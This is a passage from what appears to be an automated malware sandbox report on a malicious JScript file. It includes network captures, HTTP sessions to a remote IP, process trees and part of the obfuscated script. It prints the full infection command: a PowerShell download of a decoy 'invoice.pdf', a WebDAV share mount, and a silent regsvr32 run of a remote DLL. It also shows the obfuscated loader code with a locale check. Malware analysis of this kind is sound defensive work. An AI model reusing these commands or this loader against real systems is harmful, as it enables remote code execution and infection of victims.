Jan 10, 2025 21:57:12.658035040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658046961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658060074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658066034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658066988 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658071995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658082962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658093929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658102989 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658106089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658118010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658123016 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658129930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658142090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658148050 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658158064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658169031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658179998 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658180952 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658190966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658206940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658206940 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658219099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658226967 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658230066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658241987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658253908 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658263922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658274889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658279896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658287048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658298969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658299923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658309937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658322096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658324003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.658370018 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.658370972 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.868741035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.878515959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:13.043879986 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:13.615374088 CET	49720	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:13.620383024 CET	8888	49720	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:13.620482922 CET	49720	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:13.620759010 CET	49720	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:13.625595093 CET	8888	49720	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:14.393345118 CET	8888	49720	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:14.438477039 CET	49720	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:16.005208969 CET	49720	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:52.064543962 CET	60740	53	192.168.2.10	162.159.36.2
Jan 10, 2025 21:57:52.069467068 CET	53	60740	162.159.36.2	192.168.2.10
Jan 10, 2025 21:57:52.071001053 CET	60740	53	192.168.2.10	162.159.36.2
Jan 10, 2025 21:57:52.077842951 CET	53	60740	162.159.36.2	192.168.2.10
Jan 10, 2025 21:57:52.554249048 CET	60740	53	192.168.2.10	162.159.36.2
Jan 10, 2025 21:57:52.559226990 CET	53	60740	162.159.36.2	192.168.2.10
Jan 10, 2025 21:57:52.559292078 CET	60740	53	192.168.2.10	162.159.36.2
Jan 10, 2025 21:58:38.986385107 CET	50453	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:58:38.991234064 CET	53	50453	1.1.1.1	192.168.2.10
Jan 10, 2025 21:58:38.991353989 CET	50453	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:58:38.991379976 CET	50453	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:58:38.996166945 CET	53	50453	1.1.1.1	192.168.2.10
Jan 10, 2025 21:58:39.438107014 CET	53	50453	1.1.1.1	192.168.2.10
Jan 10, 2025 21:58:39.438462973 CET	50453	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:58:39.443476915 CET	53	50453	1.1.1.1	192.168.2.10
Jan 10, 2025 21:58:39.443820000 CET	50453	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:57:21.760446072 CET	53067	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:57:52.063855886 CET	53	55776	162.159.36.2	192.168.2.10
Jan 10, 2025 21:57:52.591232061 CET	53	63861	1.1.1.1	192.168.2.10
Jan 10, 2025 21:58:38.985874891 CET	53	49316	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:57:21.760446072 CET	192.168.2.10	1.1.1.1	0xb117	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:57:21.767438889 CET	1.1.1.1	192.168.2.10	0xb117	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:57:22.460094929 CET	1.1.1.1	192.168.2.10	0x573d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:57:22.460094929 CET	1.1.1.1	192.168.2.10	0x573d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49705	193.143.1.205	80	7780	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:57:10.903465986 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:57:11.700572014 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:57:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 21:57:11.700598001 CET	224	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:57:11.700615883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 21:57:11.700685024 CET	224	IN	Data Raw: 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 f6 Data Ascii: o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 21:57:11.700710058 CET	1236	IN	Data Raw: ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d 9a Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:57:11.700728893 CET	1236	IN	Data Raw: b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 Data Ascii: ;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3
Jan 10, 2025 21:57:11.700742006 CET	1236	IN	Data Raw: df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&
Jan 10, 2025 21:57:11.700753927 CET	1236	IN	Data Raw: b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 Data Ascii: p}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1K
Jan 10, 2025 21:57:11.700761080 CET	1236	IN	Data Raw: fc 74 90 cf 08 2d f7 c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 Data Ascii: t-9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCN
Jan 10, 2025 21:57:11.700773001 CET	883	IN	Data Raw: e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd 9d Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap,
Jan 10, 2025 21:57:11.705575943 CET	1236	IN	Data Raw: 7e 83 f9 1f 09 30 64 38 ba 30 16 5d ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 Data Ascii: ~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49720	193.143.1.205	8888	8132	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:57:13.620759010 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:57:14.393345118 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:57:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	6
Start time:	15:57:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js"
Imagebase:	0x7ff6f2e10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:57:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll
Imagebase:	0x7ff790d60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:57:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:57:07
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:57:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:57:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff790d60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:57:12
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72fbf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:57:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	15:57:13
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:57:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1692,i,8005319115025688089,6454460865170598728,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eatlz() {	eatlz() ➔ undefined
1	axjavm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kovlcrgsk = this[okabk + lqobsgw + oohozig + tjkqwmct + gqyfdfws + cxbho + hoygott + fafqcixc] ( this[sbwhyb + hugqntka + mxhqiycva + oohozig + ctqzbos + okabk + fafqcixc][evnhidn + oohozig + gqyfdfws + lqobsgw + fafqcixc + gqyfdfws + dkmaiw + qzozwyxsw + glpom + gqyfdfws + mxhqiycva + fafqcixc] ( sbwhyb + hugqntka + mxhqiycva + oohozig + ctqzbos + okabk + fafqcixc + trfiqxqjc + hugqntka + mdtkacd + gqyfdfws + ddpvthz + ddpvthz ) [cdsbm + gqyfdfws + gadsrpewj + cdsbm + gqyfdfws + lqobsgw + hohkyvtg] ( hvlpn + jaaqgxxi + sckstyfg + zqtbdjci + ozagfz + evnhidn + kqyacs + cdsbm + cdsbm + sckstyfg + opabbbs + iebwa + ozagfz + kqyacs + hugqntka + sckstyfg + cdsbm + gdlwgkuq + evnhidn + ehkqkqkhy + hoygott + fafqcixc + oohozig + ehkqkqkhy + ddpvthz + gfuxie + uhpzpx + lqobsgw + hoygott + gqyfdfws + ddpvthz + gdlwgkuq + cxbho + hoygott + fafqcixc + gqyfdfws + oohozig + hoygott + lqobsgw + fafqcixc + ctqzbos + ehkqkqkhy + hoygott + lqobsgw + ddpvthz + gdlwgkuq + vqcywl + ehkqkqkhy + mxhqiycva + lqobsgw + ddpvthz + gqyfdfws ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( urisfwqk = 0 ; urisfwqk < axjavm[ddpvthz + gqyfdfws + hoygott + gadsrpewj + fafqcixc + mdtkacd] ; ++ urisfwqk )
4	{
5	if ( kovlcrgsk == axjavm[urisfwqk] )
6	{
7	kovlcrgsk = true;
8	break ;
9	}
10	}
11	if ( kovlcrgsk !== true )
12	this[sbwhyb + hugqntka + mxhqiycva + oohozig + ctqzbos + okabk + fafqcixc][iiquoil + kiaab + ctqzbos + fafqcixc] ( );
13	this[sbwhyb + hugqntka + mxhqiycva + oohozig + ctqzbos + okabk + fafqcixc][evnhidn + oohozig + gqyfdfws + lqobsgw + fafqcixc + gqyfdfws + dkmaiw + qzozwyxsw + glpom + gqyfdfws + mxhqiycva + fafqcixc] ( sbwhyb + hugqntka + mxhqiycva + oohozig + ctqzbos + okabk + fafqcixc + trfiqxqjc + hugqntka + mdtkacd + gqyfdfws + ddpvthz + ddpvthz ) [oohozig + kiaab + hoygott] ( mxhqiycva + fzohx + hohkyvtg + gfuxie + dotssqw + mxhqiycva + gfuxie + okabk + ehkqkqkhy + kodvckxt + gqyfdfws + oohozig + tjkqwmct + mdtkacd + gqyfdfws + ddpvthz + ddpvthz + trfiqxqjc + gqyfdfws + ejzlazvx + gqyfdfws + gfuxie + jsumjf + evnhidn + ehkqkqkhy + fzohx + fzohx + lqobsgw + hoygott + hohkyvtg + gfuxie + hhbrdmsq + cxbho + hoygott + qurzsgmb + ehkqkqkhy + pwmesjfk + gqyfdfws + jsumjf + sbwhyb + gqyfdfws + qzozwyxsw + cdsbm + gqyfdfws + fgevgzb + kiaab + gqyfdfws + tjkqwmct + fafqcixc + gfuxie + jsumjf + dkmaiw + kiaab + fafqcixc + acbtpgc + ctqzbos + ddpvthz + gqyfdfws + gfuxie + psbokigkd + fafqcixc + gqyfdfws + fzohx + okabk + psbokigkd + gdlwgkuq + ctqzbos + hoygott + qurzsgmb + ehkqkqkhy + ctqzbos + mxhqiycva + gqyfdfws + trfiqxqjc + okabk + hohkyvtg + djiunkus + gfuxie + mdtkacd + fafqcixc + fafqcixc + okabk + rlwiozug + dotssqw + dotssqw + tjmfnd + pwfkuc + lpyypr + trfiqxqjc + tjmfnd + tyabs + lpyypr + trfiqxqjc + tjmfnd + trfiqxqjc + owbzetgf + amucagqg + xxyrgxf + dotssqw + ctqzbos + hoygott + qurzsgmb + ehkqkqkhy + ctqzbos + mxhqiycva + gqyfdfws + trfiqxqjc + okabk + mdtkacd + okabk + hhbrdmsq + ognpahcau + ognpahcau + tjkqwmct + fafqcixc + lqobsgw + oohozig + fafqcixc + gfuxie + psbokigkd + fafqcixc + gqyfdfws + fzohx + okabk + psbokigkd + gdlwgkuq + ctqzbos + hoygott + qurzsgmb + ehkqkqkhy + ctqzbos + mxhqiycva + gqyfdfws + trfiqxqjc + okabk + hohkyvtg + djiunkus + ognpahcau + ognpahcau + mxhqiycva + fzohx + hohkyvtg + gfuxie + dotssqw + mxhqiycva + gfuxie + hoygott + gqyfdfws + fafqcixc + gfuxie + kiaab + tjkqwmct + gqyfdfws + gfuxie + gdlwgkuq + gdlwgkuq + tjmfnd + pwfkuc + lpyypr + trfiqxqjc + tjmfnd + tyabs + lpyypr + trfiqxqjc + tjmfnd + trfiqxqjc + owbzetgf + amucagqg + xxyrgxf + ystovv + yfvthhu + yfvthhu + yfvthhu + yfvthhu + gdlwgkuq + hohkyvtg + lqobsgw + qurzsgmb + kodvckxt + kodvckxt + kodvckxt + oohozig + ehkqkqkhy + ehkqkqkhy + fafqcixc + gdlwgkuq + ognpahcau + ognpahcau + mxhqiycva + fzohx + hohkyvtg + gfuxie + dotssqw + mxhqiycva + gfuxie + oohozig + gqyfdfws + gadsrpewj + tjkqwmct + qurzsgmb + oohozig + lpyypr + owbzetgf + gfuxie + dotssqw + tjkqwmct + gfuxie + gdlwgkuq + gdlwgkuq + tjmfnd + pwfkuc + lpyypr + trfiqxqjc + tjmfnd + tyabs + lpyypr + trfiqxqjc + tjmfnd + trfiqxqjc + owbzetgf + amucagqg + xxyrgxf + ystovv + yfvthhu + yfvthhu + yfvthhu + yfvthhu + gdlwgkuq + hohkyvtg + lqobsgw + qurzsgmb + kodvckxt + kodvckxt + kodvckxt + oohozig + ehkqkqkhy + ehkqkqkhy + fafqcixc + gdlwgkuq + tjmfnd + lpyypr + yfvthhu + mjzxaqyvd + yfvthhu + lpyypr + owbzetgf + hxsryx + mjzxaqyvd + xxyrgxf + owbzetgf + tyabs + yfvthhu + lpyypr + owbzetgf + trfiqxqjc + hohkyvtg + ddpvthz + ddpvthz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command 